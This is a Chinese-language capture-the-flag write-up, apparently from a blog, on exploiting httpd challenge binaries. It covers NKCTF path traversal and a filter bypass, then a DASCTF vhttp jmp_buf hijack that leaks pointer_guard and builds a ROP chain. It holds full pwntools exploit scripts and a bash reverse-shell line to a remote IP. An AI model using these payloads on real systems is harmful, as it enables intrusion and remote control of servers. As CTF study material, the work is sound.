from pwn import *
import sys
LOCAL = len(sys.argv) == 1
if LOCAL:
p = process('./httpd')
else:
p = remote(sys.argv[1], int(sys.argv[2]))
p.send(b'GET /.' + b'/' * 256 + b'.. HTTP/1.0\r\n')
p.send(b'host: 0.0.0.10\r\n')
p.send(b'Content-length: 0\r\n')
p.recvuntil(b'./flag.txt:')
data = p.recvline(keepends=False)
from Crypto.Cipher import ARC4
print(ARC4.new(b'reverse').decrypt(data))
# p.interactive()
p.close()
# NKCTF{35c16fb6-2a41-4b83-b04c-c939281bea4c}
可以发现这个与以往的web pwn有一些不同,这里有个之前没见过的过滤函数,但绕过这个过滤很简单
_BOOL4 __cdecl whitelist(const char *a1)
{
_BOOL4 result; // eax
char needle[3]; // [esp+15h] [ebp-13h] BYREF
char v3[4]; // [esp+18h] [ebp-10h] BYREF
unsigned int v4; // [esp+1Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
strcpy(needle, "sh");
strcpy(v3, "bin");
if ( strchr(a1, '&') )
{
result = 0;
}
else if ( strchr(a1, '|') )
{
result = 0;
}
else if ( strchr(a1, ';') )
{
result = 0;
}
else if ( strchr(a1, '$') )
{
result = 0;
}
else if ( strchr(a1, '{') )
{
result = 0;
}
else if ( strchr(a1, '}') )
{
result = 0;
}
else if ( strchr(a1, '`') )
{
result = 0;
}
else if ( strstr(a1, needle) )
{
result = 0;
}
else
{
result = strstr(a1, v3) == 0;
}
if ( v4 != __readgsdword(0x14u) )
stack_fail_error();
return result;
}
然后看看有没有目录穿越,发现是做不到的,注意到这里有一段代码,最关键的就是这个popen函数
popen 函数用于创建一个管道,通过该管道可以让一个进程执行 shell 命令并与该命令进行输入或输出通信。
/*
FILE *freopen(const char *filename, const char *mode, FILE *stream);
freopen 函数用于重定向一个已经打开的文件流。它可以将一个文件流(例如 stdin、stdout 或 stderr)重定向到一个指定的文件。
int dup(int oldfd);
返回值: 成功时,返回新的文件描述符(一个非负整数);失败时,返回 -1,并设置 errno 以指示错误。
int dup2(int oldfd, int newfd);
dup2 函数的具体作用是将一个现有的文件描述符(newfd)复制到另一个指定的文件描述符(oldfd)上。这个操作使得两个文件描述符指向同一个文件或资源,拥有相同的文件偏移量和访问模式。
*/
v3 = fileno(stdout);
new_stdout = dup(v3);
v4 = fileno(stderr);
new_stderr = dup(v4);
freopen("/dev/null", "w", stdout);
freopen("/dev/null", "w", stderr);
stream = popen("sh >/dev/null", modes);
if ( stream )
{
pclose(stream);
v6 = fileno(stdout);
dup2(new_stdout, v6);
v7 = fileno(stderr);
dup2(new_stderr, v7);
close(new_stdout);
close(new_stderr);
/*
...
*/
}
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/httpd")
# p=remote('139.155.126.78',31700)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/httpd")
libc=elf.libc
def dbg():
gdb.attach(p,"b *$rebase(0x1BEE)")
pause()
host = '0.0.0.10'
request = 'GET /"s"h HTTP/1.0\r\n'
request += 'Host: ' + host + '\r\n'
request += 'Content-Length: 0\r\n'
p.sendline(request)
p.sendline('bash -c "bash -i >& /dev/tcp/172.18.211.41/7777 0>&1"')
p.interactive()
setjmp.h 头文件定义了宏 setjmp()、函数 longjmp() 和变量类型 jmp_buf,该变量类型会绕过正常的函数调用和返回规则
jmp_buf 是一个数据类型,用于保存调用环境,包括栈指针、指令指针和寄存器等。在执行 setjmp() 时,这些环境信息会被保存到 jmp_buf 类型的变量中。
int setjmp(jmp_buf environment)
这个宏把当前环境保存在变量 environment 中,以便函数 longjmp() 后续使用。如果这个宏直接从宏调用中返回,则它会返回零,但是如果它从 longjmp() 函数调用中返回,则它会返回一个非零值。
void longjmp(jmp_buf environment, int value)
该函数恢复最近一次调用 setjmp() 宏时保存的环境,jmp_buf 参数的设置是由之前调用 setjmp() 生成的。
根据上述内容,如果jmp_buf结构体存储在栈上,并且我们可以栈溢出覆盖到此处,那么将可以控制程序的流程!!!
结构体的类型为struct pthread,我们称其为一个thread descriptor,该结构体的第一个域为tchhead_t类型,其定义如下:
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard; 0x28
uintptr_t pointer_guard; 0x30
unsigned long int vgetcpu_cache[2];
/* Bit 0: X86_FEATURE_1_IBT.
Bit 1: X86_FEATURE_1_SHSTK.
*/
unsigned int feature_1;
int __glibc_unused1;
/* Reservation of some values for the TM ABI. */
void *__private_tm[4];
/* GCC split stack support. */
void *__private_ss;
/* The lowest address of shadow stack, */
unsigned long long int ssp_base;
/* Must be kept even if it is no longer used by glibc since programs,
like AddressSanitizer, depend on the size of tcbhead_t. */
__128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));
void *__padding[8];
} tcbhead_t;
这里以DASCTF2024暑期挑战赛 vhttp为例,讲解这个漏洞的利用过程(此题是libc2.31,实操发现如果是libc2.35打不通)
payload = b"GET /index.html HTTP/1.1\r\n"
payload+= b"content-length:2848\r\n"
逆向出的结构体 ```C
```
struct http_header
{
char method;
char path;
char version;
int header_count;
struct Header headers;
char * data;
int content_length;
jmp_buf err;
};
* 处理完http包后一般看haystack是否包含flag相关字符串然后进行不同的函数处理
* func1,处理路径得到绝对路径,并输出http包相关内容

* func2,打开文件,如果直接是一个文件那么就输出文件内容,如果是一个文件夹那么就遍历输出文件夹中有哪些文件


## 漏洞分析
* 先记录一下httpd常见漏洞形式
1. 第一种,最简单的就是haystack中有flag.txt但是可以进行目录穿越类似的漏洞
2. 第二种,进入func2,但是遍历目录的时候有漏洞可以读出flag
3. 第三种,也就是本题见到的这种,针对jmp_buf结构体的漏洞

* 具体漏洞如下
content_length由http header中的content-length确定
```C
// sub_401ce7
for ( i = 0; i <= 1; ++i )
{
fread(s, *(int *)(a1 + 48), 1uLL, stdin);
if ( strncmp(s, "\r\nuser=newbew", 0xCuLL) )
break;
write(1, "HTTP/1.1 403 Forbidden\r\n", 0x18uLL);
write(1, "Content-Type: text/html\r\n", 0x19uLL);
write(1, "\r\n", 2uLL);
write(1, "<h1>Forbidden</h1>", 0x12uLL);
v1 = strlen(s);
write(1, s, v1);
}
这里的fread的length就是之前得到的content_length,这是我们可以控制的,因此这里存在一个栈溢出
但是由于退出此函数都是exit,无法直接ROP
这里的考点在于setjmp函数,其通过一个jmp_buf结构体保存寄存器的值,longjmp通过恢复这些寄存器的值进行跳转
因此,如果我们覆盖了jmp_buf结构体,就可以劫持程序控制流程
但是jmp_buf中栈寄存器和rip都被TCB中的pointer_guard保护。但注意到,这个溢出发生在线程中,线程的栈靠近线程TCB,由于程序运行时其他函数需要用到pointer guard, 因此不能直接覆盖,需要leak
因此,我们可以利用下述函数带出pointer guard
// sub_401ce7
v1 = strlen(s);
write(1, s, v1);
然后,覆盖jmp buf中的rip和栈指针可以栈迁移进行ROP
## ROP Chain
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn","b *0x401705")
p=remote('node5.buuoj.cn',28360)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc
gdb_script = '''
b pthread_create
c
finish
thread 2
b *0x401EC2
c
b __pthread_cleanup_upto
c
'''
def dbg():
gdb.attach(p,gdb_script)
pause()
def circular_left_shift(value, shift):
# 确保value是一个64位整数
value &= 0xFFFFFFFFFFFFFFFF
# 执行循环左移操作
shifted_value = ((value << shift) & 0xFFFFFFFFFFFFFFFF) | (value >> (64 - shift))
return shifted_value
def ptr_g(value, pg):
val = value ^ pg
return circular_left_shift(val, 0x11)
# dbg()
ret_addr = 0x000000000040101a
pop_rdi = 0x00000000004028f3
pop_rsi_r15 = 0x00000000004028f1
pop_rdx = 0x000000000040157d
buffer = 0x0405140
open_plt = 0x4013C0
read_plt = 0x401300
write_plt = 0x4012A0
flag_addr = 0x40338A
header = b"GET / HTTP/1.1\r\n"
header+= b"content-length:2848\r\n"
#ORW
rop_payload = b"a"*(0x20-1)+b":"
rop_payload+= p64(ret_addr)*0x4
rop_payload+= p64(pop_rdi)
rop_payload+= p64(flag_addr)
rop_payload+= p64(pop_rsi_r15)
rop_payload+= p64(0x0)
rop_payload+= p64(0x0)
rop_payload+= p64(open_plt)
rop_payload+= p64(pop_rdi)
rop_payload+= p64(0x3)
rop_payload+= p64(pop_rsi_r15)
rop_payload+= p64(buffer+0x100)
rop_payload+= p64(0x0)
rop_payload+= p64(pop_rdx)
rop_payload+= p64(0x200)
rop_payload+= p64(read_plt)
rop_payload+= p64(pop_rdi)
rop_payload+= p64(0x1)
rop_payload+= p64(pop_rsi_r15)
rop_payload+= p64(buffer+0x100)
rop_payload+= p64(0x0)
rop_payload+= p64(write_plt)
rop_payload+= rop_payload.ljust(0x100, b"a")
header+= rop_payload+b'\r\n'
p.send(header)
p.send('\n')
#这里要注意题目要求的是strncmp(s, "\r\nuser=newbew", 0xCuLL)
payload = b'\r\n'+b"user=newbew"+cyclic(2848-13-7)+b'success'
p.send(payload)
p.recvuntil(b"success")
pointer_guard = u64(p.recv(8))
print("Pointer guard:",hex(pointer_guard))
payload = b"&pass=v3rdant".ljust(0x200, b'a')
regs = flat({
0x8:ptr_g(buffer+0x28, pointer_guard), #rbp
#rsp刚好指向rop_payload的地方
0x30:ptr_g(buffer+0x28, pointer_guard), #rsp
0x38:ptr_g(ret_addr, pointer_guard), #rdx的值,jmp rdx
}
)
payload += regs
payload = payload.ljust(2848-0x20, b'a') #保证fs:[0x10]的值是一个可写的地址即可
payload+= p64(buffer+0x400)*4
print(len(payload))
p.send(payload)
p.interactive()
if ( strstr(haystack, "flag.txt") )
start_routine = (void *(*)(void *))func1;
else
start_routine = (void *(*)(void *))func2;
pthread_create(&newthread, 0LL, start_routine, &method);
pthread_join(newthread, 0LL);
status = 0;
finish GDB会让程序继续运行,直到当前函数执行完毕并返回到调用它的地方
info threads 显示当前程序中的所有线程,并标注当前所在的线程
thread (id) 这个命令不仅可以用来切换线程,也可以显示当前线程的ID
gdb_script = '''
b pthread_create
c
finish
thread 2
b *0x401EC2
c
b __pthread_cleanup_upto
c
'''
发现是rax的值被我们覆盖为a了,跟进流程查看如何正确地写payload
payload = b"&pass=v3rdant".ljust(0x200, b'a')
regs = flat({
0x8:ptr_g(buffer+0x28, pointer_guard), #rbp
#rsp刚好指向rop_payload的地方
0x30:ptr_g(buffer+0x28, pointer_guard), #rsp
0x38:ptr_g(ret_addr, pointer_guard), #rdx的值,jmp rdx
}
)
payload += regs
payload = payload.ljust(2848, b'a')
# payload+= p64(0x405360)*4
print(len(payload))
p.send(payload)
payload = b"&pass=v3rdant".ljust(0x200, b'a')
regs = flat({
0x8:ptr_g(buffer+0x28, pointer_guard), #rbp
#rsp刚好指向rop_payload的地方
0x30:ptr_g(buffer+0x28, pointer_guard), #rsp
0x38:ptr_g(ret_addr, pointer_guard), #rdx的值,jmp rdx
}
)
payload += regs
payload = payload.ljust(2848-0x20, b'a') #保证fs:[0x10]的值是一个可写的地址即可
payload+= p64(buffer+0x400)*4
print(len(payload))
p.send(payload)
基于jmp_buf结构体的攻击,打这个的感受就和打堆溢出的house系列的wide_data结构体一样
就是针对某个结构体,以及其相关函数的漏洞进行攻击,关键点在于要发现一开始那个栈溢出,这样才会想到是否能够劫持jmp_buf结构体然后进一步劫持流程
这种通过劫持结构体,进而控制程序流程在二进制漏洞里面还是不少的,自己在复现qemu相关的题目也是遇到过相同的手法
13 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!